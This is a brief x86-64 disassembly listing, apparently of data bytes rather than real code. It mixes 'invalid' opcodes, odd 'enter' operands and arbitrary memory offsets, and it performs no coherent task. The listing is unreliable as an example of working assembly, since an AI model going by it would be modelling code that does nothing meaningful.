or dl, byte [rsi - 0x6db98038]
xchg edx, eax
push rdx
pop qword [rbx]
inc dword [rax - 0x4e377f80]
invalid
enter 0x43a9, 0xa
or dword [rax], 0xffffff87
enter 0x477f, 0xffffffffffffffc8
invalid